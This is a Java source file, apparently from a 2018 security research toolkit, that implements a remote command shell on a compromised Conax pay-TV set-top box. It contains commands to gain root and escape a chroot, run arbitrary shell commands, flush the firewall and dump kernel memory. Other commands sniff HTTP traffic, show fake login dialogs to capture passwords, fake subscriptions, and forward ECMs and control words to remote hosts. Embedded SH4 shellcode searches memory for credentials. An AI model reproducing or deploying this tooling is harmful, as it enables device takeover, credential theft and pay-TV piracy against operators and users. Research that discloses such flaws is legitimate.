/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.lang.reflect.*;
import java.util.*;
import java.io.*;
import java.net.*;
import javax.tv.service.*;
import org.ocap.storage.*;
import org.ocap.shared.dvr.*;
import sun.misc.CVM;

import tv.osmosys.application.*;
import tv.osmosys.application.ait.*;
import tv.osmosys.memwatch.*;
import org.dvb.application.*;

public class BoxIf extends ClientIf {

 public static class RunningAppFilter extends AppsDatabaseFilter {
  public boolean accept(AppID appid) {
   AppManager appmgr=AppManager.getInstance();
   AppContext ctx=appmgr.getContext(appid);

   ApiMonitor.log("accept: "+appid);
   ApiMonitor.log("ctx: "+ctx);

   if (ctx==null) return false;
    else return true;
  }
 }

 static boolean status;
 SCWatch scwatch;

 public static final int VK_WWW = 481;

 static int searchcreds[]={
  0x4f222fe6,     /*  mov.l   r14, @-r15                                      */
                  /*  sts.l   pr, @-r15                                       */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x0009b002,     /*  bsr     forward                                         */
                  /*  nop                                                     */
  0x11223344,     /*  .long 0x11223344 ! begin marker                         */
                  /*                                                          */
  0x6b43eaff,     /*  mov     #-1,r10                                         */
                  /*  mov     r4,r11                                          */
  0x6042e904,     /*  mov     #4,r9                                           */
                  /*  mov.l   @r4,r0                                          */
  0x8b053600,     /*  cmp/eq  r0,r6                                           */
                  /*  bf      nomatch1                                        */
  0x49100009,     /*  nop                                                     */
                  /*  dt      r9                                              */
  0x00098b03,     /*  bf      nextword1                                       */
                  /*  nop                                                     */
  0x0009a009,     /*  bra     uidsfound                                       */
                  /*  nop                                                     */
  0xe004e904,     /*  mov     #4,r9                  ! match num              */
                  /*  mov     #4,r0                                           */
  0x3508340c,     /*  add     r0,r4                  ! update buf             */
                  /*  sub     r0,r5                  ! update size            */
  0x8bf02558,     /*  tst     r5,r5                                           */
                  /*  bf      matchloop1                                      */
  0xa01d0009,     /*  nop                                                     */
                  /*  bra     end                                             */
  0xe9040009,     /*  nop                                                     */
                  /*  mov     #4,r9                  ! match num              */
  0x3598349c,     /*  add     r9,r4                  ! update buf             */
                  /*  sub     r9,r5                  ! update size            */
  0x8b022558,     /*  tst     r5,r5                                           */
                  /*  bf      matchloop2                                      */
  0xa0150009,     /*  nop                                                     */
                  /*  bra     end                                             */
  0x60420009,     /*  nop                                                     */
                  /*  mov.l   @r4,r0                                          */
  0x8beb3700,     /*  cmp/eq  r0,r7                                           */
                  /*  bf      nomatch1                                        */
  0x49100009,     /*  nop                                                     */
                  /*  dt      r9                                              */
  0x00098b02,     /*  bf      nextword2                                       */
                  /*  nop                                                     */
  0x0009a008,     /*  bra     gidsfound                                       */
                  /*  nop                                                     */
  0x340ce004,     /*  mov     #4,r0                                           */
                  /*  add     r0,r4                  ! update buf             */
  0x25583508,     /*  sub     r0,r5                  ! update size            */
                  /*  tst     r5,r5                                           */
  0x00098bf1,     /*  bf      matchloop2                                      */
                  /*  nop                                                     */
  0x0009a004,     /*  bra     end                                             */
                  /*  nop                                                     */
  0x3ab86a43,     /*  mov     r4,r10                 ! buf                    */
                  /*  sub     r11,r10                                         */
  0x3a18e11c,     /*  mov     #28,r1                                          */
                  /*  sub     r1,r10                                          */
  0x4f2660a3,     /*  mov     r10,r0                 ! return offset          */
                  /*  lds.l  @r15+, pr                                        */
  0x6ef6000b,     /*  rts                                                     */
                  /*  mov.l  @r15+, r14                                       */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
 };

 static int sccode;

 static int current_input[] = new int[4];

 public static int CREDSSIZE = 8*4;
 public static int CAPSSIZE  = 3*4;

 public static int CAPSOFF   = 0x00000024;

 public BoxIf() throws Throwable {
  super(Proto.CLT_BOX,SysInfo.boxtype()+" "+SysInfo.serial_num());

  in().set_data_type(Proto.CMD_DATA);
  out().set_data_type(Proto.CMD_DATA);

  Output.set_client(this);
 }

 public void cmd_sys_info() throws Throwable {
  SysInfo.print();
  SysInfo.print_network();

  Output.end();
 }

 public void cmd_card_info() throws Throwable {
  SCInfo info=Conax.get_cardinfo();
  info.print();

  Output.end();
 }

 public void cmd_sys_pwd() throws Throwable {
  String cwd=FS.sys_getcwd();
  write_string(cwd);

  flush();
 }

 public void cmd_jvm_pwd() throws Throwable {
  String cwd=FS.jvm_getcwd();
  write_string(cwd);

  flush();
 }

 public void cmd_sys_chdir() throws Throwable {
  String dir=read_string();

  boolean status=FS.sys_chdir(dir);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_jvm_chdir() throws Throwable {
  String dir=read_string();

  boolean status=FS.jvm_chdir(dir);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_sys_dir() throws Throwable {
  String dir=read_string();
  boolean recurse=read_boolean();
  boolean fullpath=read_boolean();

  if (dir==null) {
   dir=FS.sys_getcwd();
  }

  boolean exists=FS.sys_exists(dir);

  int res=0;

  if (!exists) {
   res=-1;
  }

  write_int(res);

  flush();

  if (exists) {
   FS.sys_dir(dir,recurse,fullpath);

   Output.end();
  }
 }

 public void cmd_jvm_dir() throws Throwable {
  String dir=read_string();
  boolean recurse=read_boolean();
  boolean fullpath=read_boolean();

  if (dir==null) {
   dir=FS.jvm_getcwd();
  }

  boolean exists=FS.jvm_exists(dir);

  int res=0;

  if (!exists) {
   res=-1;
  }

  write_int(res);

  flush();

  if (exists) {
   int pid=CVM.attachProcess(-1);

   FS.jvm_dir(dir,recurse,fullpath);

   CVM.detachProcess(pid);

   Output.end();
  }
 }

 public void cmd_sys_get() throws Throwable {
  String filename=read_string();

  if (filename!=null) {
   FS.sys_get(filename);
  }

  flush();
 }

 public void cmd_jvm_get() throws Throwable {
  String filename=read_string();

  if (filename!=null) {
   FS.jvm_get(filename);
  }

  flush();
 }

 public void cmd_sys_dumpfs() throws Throwable {
  String dir=read_string();
  boolean recurse=read_boolean();
  boolean zerolen=read_boolean();

  if (dir==null) {
   dir=FS.sys_getcwd();
  }

  FS.sys_dumpfs(dir,recurse,zerolen);

  Output.end();
 }

 public void cmd_jvm_dumpfs() throws Throwable {
  String dir=read_string();
  boolean recurse=read_boolean();
  boolean zerolen=read_boolean();

  if (dir==null) {
   dir=FS.jvm_getcwd();
  }

  int pid=CVM.attachProcess(-1);

  FS.jvm_dumpfs(dir,recurse,zerolen);

  CVM.detachProcess(pid);

  Output.end();
 }

 public void cmd_root() throws Throwable {
  if (Config.isHERMES()) {
   Exploit.getroot();
   Exploit.escapechroot();
  } else

  if (Config.isCARBO()) {
   Exploit.getroot();
  }

  cmd_id();
 }

 public void cmd_sys_put() throws Throwable {
  String filename=read_string();
  int size=read_int();
  boolean overwrite=read_boolean();

  FS.sys_put(filename,size,overwrite);

  flush();
 }

 public void cmd_jvm_put() throws Throwable {
  String filename=read_string();
  int size=read_int();
  boolean overwrite=read_boolean();

  FS.jvm_put(filename,size,overwrite);

  flush();
 }

 public void cmd_sys_del() throws Throwable {
  String filename=read_string();

  boolean status=FS.sys_del_file(filename);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_jvm_del() throws Throwable {
  String filename=read_string();

  boolean status=FS.jvm_del_file(filename);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_id() throws Throwable {
  int uid=Syscall.getuid();
  int gid=Syscall.getgid();

  String user=EtcPasswd.username(uid);
  String group=EtcPasswd.groupname(gid);

  String s1="uid="+uid+"("+user+")";
  String s2="gid="+gid+"("+group+")";

  Output.text(s1+" "+s2);

  Output.end();
 }

 public void cmd_sys_mkdir() throws Throwable {
  String dirname=read_string();

  boolean status=FS.sys_create_directory(dirname);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_jvm_mkdir() throws Throwable {
  String dirname=read_string();

  boolean status=FS.jvm_create_directory(dirname);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_sys_rmdir() throws Throwable {
  String dirname=read_string();

  boolean status=FS.sys_del_directory(dirname);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_jvm_rmdir() throws Throwable {
  String dirname=read_string();

  boolean status=FS.jvm_del_directory(dirname);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);

  flush();
 }

 public void cmd_jvm_threads() throws Throwable {
  SysEnv.jvm_print_threads();

  Output.end();
 }

 public void cmd_kdump() throws Throwable {
  int kaddr=read_int();
  int size=read_int();

  Kmem.dump(kaddr,size);
  
  flush();
 }

 public void cmd_openurl() throws Throwable {
  String url=read_string();

  boolean res=Xion.openURL(url);

  write_boolean(res);
  flush();
 }

 public void cmd_quit() throws Throwable {
  Shell.stop();
 }

 public void cmd_play() throws Throwable {
  String url=read_string();

  boolean res=false;

  if (url!=null) {
   CW.clear_initialized();
   res=Media.JTVplay(url);
  } else {
   res=Media.JTVstop();
  }

  write_boolean(res);
  flush();
 }

 public void cmd_avinfo() throws Throwable {
  AVInfo.print();

  Output.end();
 }

 public void cmd_srvinfo() throws Throwable {
  int id=read_int();
  int type=read_int();

  Service srv=null;

  if (id!=-1) {
   srv=SrvUtils.srv_by_channel(id);
  } else {
   srv=SrvUtils.current_service();
  }

  switch(type) {
   case SrvUtilsDefs.S_CURRENT:
    if (srv==null) {
     write_boolean(false);
     flush();
     return;
    }

    write_boolean(true);
    SrvUtils.print(srv);
    break;

   case SrvUtilsDefs.S_SUBSCRIBED:
    write_boolean(true);
    SrvUtils.print_subscribed();
    break;

   case SrvUtilsDefs.S_CRYPTED:
    write_boolean(true);
    SrvUtils.print_scrambled();
    break;

   case SrvUtilsDefs.S_FTA:
    write_boolean(true);
    SrvUtils.print_fta();
    break;

   case SrvUtilsDefs.S_SAME_TS:
    if (srv==null) {
     write_boolean(false);
     flush();
     return;
    }

    write_boolean(true);
    SrvUtils.print_same_ts(srv);
    break;

   case SrvUtilsDefs.S_PROPS:
    if (srv==null) {
     write_boolean(false);
     flush();
     return;
    }

    write_boolean(true);
    SrvUtils.print_props(srv);
    break;
  }

  Output.end();
 }

 public void cmd_service() throws Throwable {
  int id=read_int();
  int type=read_int();

  boolean res=false;

  switch(type) {
   case SrvUtilsDefs.S_SELECT:
    res=SrvUtils.select(id);
    break;

   case SrvUtilsDefs.S_LOCK:
    res=SrvUtils.set_lock_status(id,true);
    break;

   case SrvUtilsDefs.S_UNLOCK:
    res=SrvUtils.set_lock_status(id,false);
    break;
  }

  write_boolean(res);

  flush();
 }

 public void cmd_dvrinfo() throws Throwable {
  int type=read_int();

  switch(type) {
   case RecManDefs.R_USER:
    RecMan.print_userlist();
    break;

   case RecManDefs.R_PVOD:
    RecMan.print_pvod();
    break;
  }

  Output.end();
 }

 public void cmd_jvm_props() throws Throwable {
  SysEnv.jvm_print_props();

  Output.end();
 }

 public void cmd_dialog() throws Throwable {
  int type=read_int();
  String s1=read_string();
  String s2=read_string();
  boolean wait=read_boolean();

  switch(type) {
   case XionDefs.M_ALERT:
    Xion.alert(s1,wait);
    break;

   case XionDefs.M_CONFIRM:
    boolean cres=Xion.confirm(s1,wait);
    Output.text("result: "+cres);
    break;

   case XionDefs.M_PROMPT:
    String pres=Xion.prompt(s1,s2,wait);
    Output.text("res: "+pres);
    break;

   case XionDefs.M_LOGIN:
    String lres[]=Xion.login(s1,s2,wait);
    Output.text("user: "+lres[0]);
    Output.text("pass: "+lres[1]);
    break;
  }

  Output.end();
 }

 public void cmd_httpsniff() throws Throwable {
  int action=read_int();
  int flags=read_int();

  boolean res=false;

  switch(action) {
   case HTTPSnifferDefs.SN_RUN:
    boolean hdrlog=false;
    boolean contentlog=false;

    if ((flags&HTTPSnifferDefs.SN_HEADERS)!=0) {
     hdrlog=true;
    }

    if ((flags&HTTPSnifferDefs.SN_CONTENT)!=0) {
     contentlog=true;
    }
    
    res=HTTPSniffer.start(hdrlog,contentlog);
    break;

   case HTTPSnifferDefs.SN_STOP:
    res=HTTPSniffer.stop();
    break;
  }

  write_boolean(res);
  flush();
 }

 public void cmd_sys_ps() throws Throwable {
  SysEnv.sys_print_processes();

  Output.end();
 }


 public void cmd_keys() throws Throwable {
  String keyseq=read_string();

  boolean res=UserInput.key_sequence(keyseq);

  write_boolean(res);
  flush();
 }

 public void cmd_urimap() throws Throwable {
  int action=read_int();
  String srcuri=read_string();
  String dsturi=read_string();

  boolean res=true;

  switch(action) {
   case HTTPSnifferDefs.UM_LIST:
    write_boolean(true);
    HTTPSniffer.print_urimap();
    break;

   case HTTPSnifferDefs.UM_MAP:
    write_boolean(true);
    HTTPSniffer.mapuri(srcuri,dsturi);  
    break;

   case HTTPSnifferDefs.UM_DEL:
    String olduri=HTTPSniffer.mapuri(srcuri,null);  
    if (olduri!=null) write_boolean(true);
     else write_boolean(false);
    break;
  }

  Output.end();
 }

 public void cmd_subsinfo() throws Throwable {
  Entitlement enttab[]=Conax.get_entitlements();

  for(int i=0;i<enttab.length;i++) {
   enttab[i].print();
  }

  Output.end();
 }

 public void cmd_epginfo() throws Throwable {
  int id=read_int();
  int cnt=read_int();

  Service srv=null;

  boolean res=false;

  if (id!=-1) {
   srv=SrvUtils.srv_by_channel(id);
  } else {
   srv=SrvUtils.current_service();
  }

  if (srv!=null) {
   res=true;
  }

  write_boolean(res);

  if (srv!=null) {
   EPG.print_events(srv,cnt);
  }

  Output.end();
 }

 public void cmd_capture() throws Throwable {
  FS.jvm_get("/proc/gfx/screenshot.png");

  flush();
 }

 public void cmd_mpegsniff() throws Throwable {
  int pid=read_int();
  int tid=read_int();

  byte data[]=MPEGSniffer.get_section(null,pid,tid);

  Output.data(data);

  flush();
 }


 public void cmd_pat() throws Throwable {
  boolean full=read_boolean();
  MPEG.print_pat(full);

  Output.end();
 }

 public void cmd_pmt() throws Throwable {
  int svid=read_int();

  if (svid==-1) {
   Service srv=SrvUtils.current_service();

   if (srv!=null) {
    svid=SrvUtils.get_svid(srv);
   }
  }

  MPEG.print_pmt(svid);

  Output.end();
 }

 public void cmd_dmesg() throws Throwable {
  Sys.print_dmesg();

  Output.end();
 }

 public void cmd_reboot() throws Throwable {
  Sys.reboot();
 }

 public void cmd_invoices() throws Throwable {
  int print_type=read_int();
  int cnt=read_int();
  int adr=read_int();

  try {
   byte addr[]=new byte[7];
   byte mask[]=new byte[7];

   mask[0]=0;
   mask[1]=0;
   mask[2]=0;

   if (adr==-1) {
    SCInfo scinfo=Conax.get_cardinfo();

    addr=scinfo.unique_addr();

//    mask[3]=-1;
    mask[4]=0;
    mask[5]=0;
    mask[6]=0;
   } else {
    int idx=0;

    for(int i=0;i<3;i++) {
     if ((adr&0xff000000)==0) {
      adr<<=8;
      idx++;
     } else break;
    }
    
    for(int i=0;i<4;i++) {
     addr[3+3-i]=(byte)(adr&0xff);

     if (i<(4-idx)) {
      mask[3+i]=-1;
     }
     adr>>=8;
    }
   }

   ApiMonitor.log("addr");
   ApiMonitor.log_buf(addr);

   ApiMonitor.log("mask");
   ApiMonitor.log_buf(mask);

   InvoiceFilter filter=InvoiceFilter.create(addr,mask,print_type,cnt);

   if (filter!=null) {
    write_boolean(true);

    Invoice.print_header();

    filter.start();
    filter.wait_for_all();
    filter.stop();
   } else {
    write_boolean(false);
   }
  } catch(Throwable t) {}

  Output.end();
 }

 public void cmd_dsmccmount() throws Throwable {
  String locator=read_string();

  String mountpoint=DSMCC.mount_carousel(locator);

  if (mountpoint!=null) {
   write_boolean(true);

   Output.text(mountpoint);
   Output.end();
  } else {
   write_boolean(false);
   flush();
  }
 }

 public void cmd_ssuinfo() throws Throwable {
  SSU.Info ssuinfo=SSU.get_info();

  if (ssuinfo!=null) {
   write_boolean(true);

   String s="SSU SVID:   0x"+Utils.hex_value(ssuinfo.svid,4)+"     PID:   "+Utils.hex_value(ssuinfo.pid,4);
   Output.text(s);

   SSU.UpgradeInfo upgrades[]=ssuinfo.upgrades;

   for(int i=0;i<upgrades.length;i++) {
    SSU.UpgradeInfo ui=upgrades[i];

    s="[UPGRADE "+Utils.hex_value(i,2)+"]";
    Output.text(s);

    ui.print();
   }
  } else {
   write_boolean(false);
  }

  Output.end();
 }

 public void cmd_emmblock() throws Throwable {
  int action=read_int();

  boolean res=false;

  switch(action) {
   case EMMBlockerDefs.BLK_RUN:    
    if (!EMMBlocker.status()) {
     EMMBlocker.start();
     res=true;
    } else res=false;
    break;

   case EMMBlockerDefs.BLK_STOP:
    if (EMMBlocker.status()) {
     EMMBlocker.stop();
     res=true;
    } else res=false;
    break;

   case EMMBlockerDefs.BLK_STATUS:
    res=EMMBlocker.status();
    break;
  }

  write_boolean(res);
  flush();
 }

 public void cmd_keyinfo() throws Throwable {
  Output.text("[KEYS]");

  try {
   int hwid=SysInfo.hwid;

   Loader.Key key=Loader.get_key(hwid);

   if (key!=null) {
    key.print("loader key");
   }

   key=Loader.get_upgrade_key(hwid);

   if (key!=null) {
    key.print("upgrade key");
   }

  } catch(Throwable t) {}

  Output.end();
 }

 public void cmd_upgdnl() throws Throwable {
  int hwid=read_int();

  int res=SSU.download_upgrade(hwid);

  if (res!=SSUDefs.UPGRADE_OK) {
   write_int(res);
   flush();
  }
 }

 public void cmd_dvrmgr() throws Throwable {
  int action=read_int();
  int channel=read_int();
  long from=read_long();
  long to=read_long();
  int id=read_int();

  int res=RecManDefs.RES_OK;

  switch(action) {
   case RecManDefs.RM_ADD:
    res=RecMan.start_recording(channel,from,to);
    break;
   case RecManDefs.RM_STOP:
    res=RecMan.stop_recording(id);
    break;
   case RecManDefs.RM_DELETE:
    res=RecMan.delete_recording(id);
    break;
   case RecManDefs.RM_REMOVE:
    res=RecMan.delete_content(id);
    break;
  }

  write_int(res);
  flush();
 }

 public void cmd_emmsniff() throws Throwable {
  int action=read_int();

  boolean res=false;

  switch(action) {
   case EMMSnifferDefs.SN_RUN:    
    if (!EMMSniffer.status()) {
     EMMSniffer.start();
     res=true;
    } else res=false;
    break;

   case EMMSnifferDefs.SN_STOP:
    if (EMMSniffer.status()) {
     EMMSniffer.stop();
     res=true;
    } else res=false;
    break;

   case EMMSnifferDefs.SN_STATUS:
    res=EMMSniffer.status();
    break;
  }

  write_boolean(res);
  flush();
 }

 public void cmd_mpegdump() throws Throwable {
  int action=read_int();
  int dmx_id=read_int();
  int channel=read_int();
  int secs=read_int();
  String host=read_string();
  int port=read_int();

  int res=TSRecorderDefs.RES_OK;

  switch(action) {
   case TSRecorderDefs.REC_RUN:
    res=TSRecorder.start(dmx_id,channel,secs,host,port);
    break;

   case TSRecorderDefs.REC_STOP:
    TSRecorder.stop();
    break;
  }

  write_int(res);
  flush();
 }

 public void cmd_chmod() throws Throwable {
  String filename=read_string();
  int mode=read_int();

  boolean status=FS.sys_chmod_file(filename,mode);

  int res=0;

  if (!status) {
   res=-1;
  }

  write_int(res);
  flush();  
 }

 public void cmd_chown() throws Throwable {
  String filename=read_string();
  String owner=read_string();
  String group=read_string();

  int uid=EtcPasswd.userid(owner);
 
  if (uid==-1) {
   try {
    uid=Integer.parseInt(owner);
   } catch(Throwable t) {}
  }

  int gid=EtcPasswd.userid(group);
 
  if (gid==-1) {
   try {
    gid=Integer.parseInt(group);
   } catch(Throwable t) {}
  }

  int res=0;

  if ((uid!=-1)&&(gid!=-1)) {
   boolean status=FS.sys_chown_file(filename,uid,gid);

   if (!status) {
    res=-1;
   }
  } else res=-1;

  write_int(res);
  flush();  
 }

 public void cmd_exec() throws Throwable {
  String cmd=read_string();

  Exec.run_cmd(cmd);

  Output.end();
 }

 public void cmd_fwflush() throws Throwable {
  IPTables.flush();
 }

 public void cmd_emmload() throws Throwable {
  int action=read_int();
  String name=read_string();

  int res=EMMStoreDefs.RES_OK;

  switch(action) {
   case EMMStoreDefs.EMM_VIEW:
    res=EMMStore.show(name);
    break;
   case EMMStoreDefs.EMM_LOAD:
    res=EMMStore.load(name);
    break;
  }
 
  if (res!=EMMStoreDefs.RES_OK) {
   write_int(res);
   flush();
  }
 }

 public void cmd_ecmreceive() throws Throwable {
  int action=read_int();
  int channel=read_int();

  int res=ECMServerDefs.RES_OK;

  switch(action) {
   case ECMServerDefs.ECMSRV_RUN:
    res=ECMServer.start_receiver(channel);
    break;

   case ECMServerDefs.ECMSRV_STOP:
    res=ECMServer.stop_receiver();
    break;
  }

  write_int(res);
  flush();
 }

 public void cmd_ecmforward() throws Throwable {
  int action=read_int();
  int channel=read_int();

  int res=ECMServerDefs.RES_OK;

  switch(action) {
   case ECMServerDefs.ECMSRV_RUN:
    res=ECMServer.start_sender(channel);
    break;

   case ECMServerDefs.ECMSRV_STOP:
    res=ECMServer.stop_sender(channel);
    break;
  }

  write_int(res);
  flush();
 }

 public void cmd_conax_info() throws Throwable {
  Conax.print_info();

  Output.end();
 }

 public void cmd_cw_info() throws Throwable {
  int cnt=read_int();

  for(int i=0;i<cnt;i++) {
   CW.print_cw_info();
   Output.flush();

   if (i!=(cnt-1)) Utils.sleep(10*1000);
  }

  Output.end();
 }

 public void cmd_vodprops() throws Throwable {
  int id=read_int();

  int res=VODDefs.RES_OK;

  if (id==-1) {
   write_int(res);
   flush();

   RecMan.print_all_pvod_props();

   Output.end();
  } else {
   if (RecMan.find_recording(id)==null) {
    res=VODDefs.INVALID_RECID;
   }

   write_int(res);
   flush();

   if (res==VODDefs.RES_OK) {
    RecMan.print_pvod_props(id);

    Output.end();
   }
  }
 }

 public void cmd_vodecm() throws Throwable {
  int action=read_int();
  int recid=read_int();
  String name=read_string();

  int res=VODDefs.RES_OK;

  if (action==VODDefs.ECM_VIEW) {
   if (recid!=-1) {
    RecordingRequest rr=RecMan.find_recording(recid);

    if (rr==null) {
     res=VODDefs.INVALID_RECID;
    }
   }

   write_int(res);
   flush();

   if (res==VODDefs.RES_OK) {
    VOD.ecm_view(recid);
    Output.end();
   }
  } else {
   switch(action) {
    case VODDefs.ECM_STORE:
     res=VOD.ecm_store(recid,name);
     break;

    case VODDefs.ECM_LOAD:
     res=VOD.ecm_load(name);
     break;

    case VODDefs.ECM_UNLOAD:
     res=VOD.ecm_unload();
     break;
   }

   write_int(res);
   flush();
  }

 }

 public void cmd_vodserver() throws Throwable {
  int action=read_int();

  int res=ECMServerDefs.RES_OK;

  switch(action) {
   case ECMServerDefs.ECMSRV_RUN:
    res=ECMServer.start_vodreceiver();
    break;

   case ECMServerDefs.ECMSRV_STOP:
    res=ECMServer.stop_vodreceiver();
    break;
  }

  write_int(res);
  flush();
 }

 public void cmd_voddump() throws Throwable {
  int action=read_int();
  int dmx_id=read_int();
  int recid=read_int();
  int secs=read_int();
  String host=read_string();
  int port=read_int();

  int res=TSRecorderDefs.RES_OK;

  switch(action) {
   case TSRecorderDefs.REC_RUN:
    res=TSRecorder.vod_start(dmx_id,recid,secs,host,port);
    break;

   case TSRecorderDefs.REC_STOP:
    TSRecorder.vod_stop();
    break;
  }

  write_int(res);
  flush();
 }

 public void cmd_fakesubs() throws Throwable {
  int action=read_int();
  String provider=read_string();
  int mask=read_int();

  ApiMonitor.log("cmd_fakesubs "+provider+" mask "+Utils.hex_value(mask,8));

  int res=SubsFakerDefs.RES_OK;

  switch(action) {
   case SubsFakerDefs.SF_RUN:
    res=SubsFaker.start();
    break;

   case SubsFakerDefs.SF_STOP:
    res=SubsFaker.stop();
    break;

   case SubsFakerDefs.SF_ADD:
    res=SubsFaker.add(provider,mask);
    break;
  }

  if (action==SubsFakerDefs.SF_VIEW) {
   write_int(res);
   flush();

   SubsFaker.print();

   Output.end();
  } else {
   write_int(res);
   flush();
  }
 }

 public void cmd_mem() throws Throwable {
  int addr=read_int();
  int size=read_int();

  byte data[]=new byte[size];

  for(int i=0;i<size;i++) {
   data[i]=(byte)Memory.read_byte(addr+i);
  }

  Output.data(data);

  flush();
 }

 int get_word(int tab[],int pos) {
  int v=0;

  v|=(tab[pos+0]&0xff);  
  v|=(tab[pos+1]&0xff)<<8;  
  v|=(tab[pos+2]&0xff)<<16;  
  v|=(tab[pos+3]&0xff)<<24;  

  return v;
 }

 public void cmd_tkdinput() throws Throwable {
  int input[]=new int[0x10];

  int size=read_int();
  for(int i=0;i<size;i++) {
   if (i<input.length) input[i]=read_byte();
  }

  current_input[0]=get_word(input,0); 
  current_input[1]=get_word(input,4); 
  current_input[2]=get_word(input,8); 
  current_input[3]=get_word(input,12); 

  STTKDMA.set_input(current_input);

  Output.end();
 }

 public void cmd_setcwpk() throws Throwable {
  int input[]=new int[0x10];

  int size=read_int();
  for(int i=0;i<size;i++) {
   if (i<input.length) input[i]=read_byte();
  }

  int input_cwpk[]=new int[4];

  input_cwpk[0]=get_word(input,0); 
  input_cwpk[1]=get_word(input,4); 
  input_cwpk[2]=get_word(input,8); 
  input_cwpk[3]=get_word(input,12); 

  STTKDMA.set_cwpk(input_cwpk);

  Output.end();
 }

 public void cmd_tkdreg() throws Throwable {
  int tmp[]=new int[0x10];

  int idx=read_int();

  int size=read_int();
  for(int i=0;i<size;i++) {
   if (i<tmp.length) tmp[i]=read_byte();
  }

  int key[]=new int[4];

  key[0]=get_word(tmp,0); 
  key[1]=get_word(tmp,4); 
  key[2]=get_word(tmp,8); 
  key[3]=get_word(tmp,12); 

  STTKDMA.set_key(idx,key);

  Output.end();
 }

 public void cmd_tkdregs() throws Throwable {
  Output.text("- INPUT");

  int buf=NativeCode.getInstance().malloc(0x80);  

  for(int i=0;i<0x10;i+=4) {
   int val=STTKDMA.tkdma_read(STTKDMA.INPUT+i);
   Memory.write_dword(buf+i,val);
  }

  byte tab[]=Utils.buf2barray(buf,0x10);
  MPEG.print_buf(2,tab);

  Output.text("- KEYS");

  for(int i=0;i<0x80;i+=4) {
   int val=STTKDMA.tkdma_read(STTKDMA.KEYS+i);
   Memory.write_dword(buf+i,val);
  }

  tab=Utils.buf2barray(buf,0x80);
  MPEG.print_buf(2,tab);

  NativeCode.getInstance().free(buf);  

  Output.end();
 }

 public void cmd_tkdcmd() throws Throwable {
  int cmd=read_int();

  STTKDMA.set_input(current_input);
  STTKDMA.tkd_cmd(cmd);

  Output.text("- OUTPUT");

  int buf=NativeCode.getInstance().malloc(0x80);  

  for(int i=0;i<0x10;i+=4) {
   int val=STTKDMA.tkdma_read(STTKDMA.OUTPUT+i);
   Memory.write_dword(buf+i,val);
  }

  byte tab[]=Utils.buf2barray(buf,0x10);
  MPEG.print_buf(2,tab);

  NativeCode.getInstance().free(buf);  

  Output.end();
 }

 public void cmd_tkdrun() throws Throwable {
  int csize=read_int();

  int tkdcode[]=new int[csize];

  for(int i=0;i<csize;i++) {
   tkdcode[i]=read_int();
  }

  int dsize=read_int();

  int tkddata[]=new int[dsize];

  for(int i=0;i<dsize;i++) {
   tkddata[i]=read_int();
  }

  if (STTKDMA.tkdcode_running()) {
   Output.text("tkdcode already running");
   Output.end();
   return;
  }

  Output.text("running custom Slim code ("+csize+" opcodes, "+dsize+" data items)");

  for(int i=0;i<dsize;i+=2) {
   int off=tkddata[i];
   int val=tkddata[i+1];

   STTKDMA.tkdma_write(off,val);
  }

  STTKDMA.set_input(current_input);
  STTKDMA.run_slim_code(tkdcode);

  Output.text("- OUTPUT");

  int buf=NativeCode.getInstance().malloc(0x80);  

  for(int i=0;i<0x10;i+=4) {
   int val=STTKDMA.tkdma_read(STTKDMA.OUTPUT+i);
   Memory.write_dword(buf+i,val);
  }

  byte tab[]=Utils.buf2barray(buf,0x10);
  MPEG.print_buf(2,tab);

  NativeCode.getInstance().free(buf);  

  Output.end();
 }

 public void cmd_tkdmem() throws Throwable {
  int off=read_int();
  int size=read_int();

  size=(size+3)&0xfffffffc;

  byte data[]=new byte[size];

  for(int i=0;i<size;i+=4) {
   int val=STTKDMA.tkdma_read(off+i);

   data[i+0]=(byte)(val&0xff);
   data[i+1]=(byte)((val>>8)&0xff);
   data[i+2]=(byte)((val>>16)&0xff);
   data[i+3]=(byte)((val>>24)&0xff);
  }

  Output.data(data);

  flush();
 }

 public void cmd_tkdpeek8() throws Throwable {
  int off=read_int();
    
  int val=STTKDMA.tkdma_read8(off);

  Output.text("off 0x"+Utils.hex_value(off,4)+" = 0x"+Utils.hex_value(val,2));
  Output.end();
 }

